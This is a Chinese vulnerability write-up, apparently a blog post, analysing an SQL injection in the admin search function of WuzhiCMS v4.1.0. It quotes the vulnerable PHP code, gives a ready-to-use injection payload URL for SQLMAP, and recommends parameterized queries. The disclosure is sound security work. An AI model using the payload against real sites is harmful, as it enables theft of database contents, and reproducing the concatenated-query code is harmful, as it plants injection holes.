0x00 环境准备
五指CMS官网:https://www.wuzhicms.com/
网站源码版本:五指CMS v4.1.0 UTF-8 开源版
程序源码下载:https://www.wuzhicms.com/download/
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/coreframe/app/promote/admin/index.php 第42-60行:
- public function search() {
- $siteid = get_cookie('siteid');
- $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
- $page = max($page,1);
- $fieldtype = $GLOBALS['fieldtype'];
- $keywords = $GLOBALS['keywords'];
- if($fieldtype=='place') {
- $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";
- $result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');
- 10. $pages = $this->db->pages;
- 11. $total = $this->db->number;
- 12. include $this->template('listingplace');
- 13. } else {
- 14. $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";
- 15. $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');
- 16. $pages = $this->db->pages;
- 17. $total = $this->db->number;
- 18. include $this->template('listing');
- 19. }
这段函数将获取到的keywords参数拼接到SQL语句,然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
0x02 漏洞利用
1、构造url链接,使用SQLMAP可获取数据库敏感数据。
Payload:
http://127.0.0.1/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23
0x03 修复建议
使用参数化查询可有效避免SQL注入
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。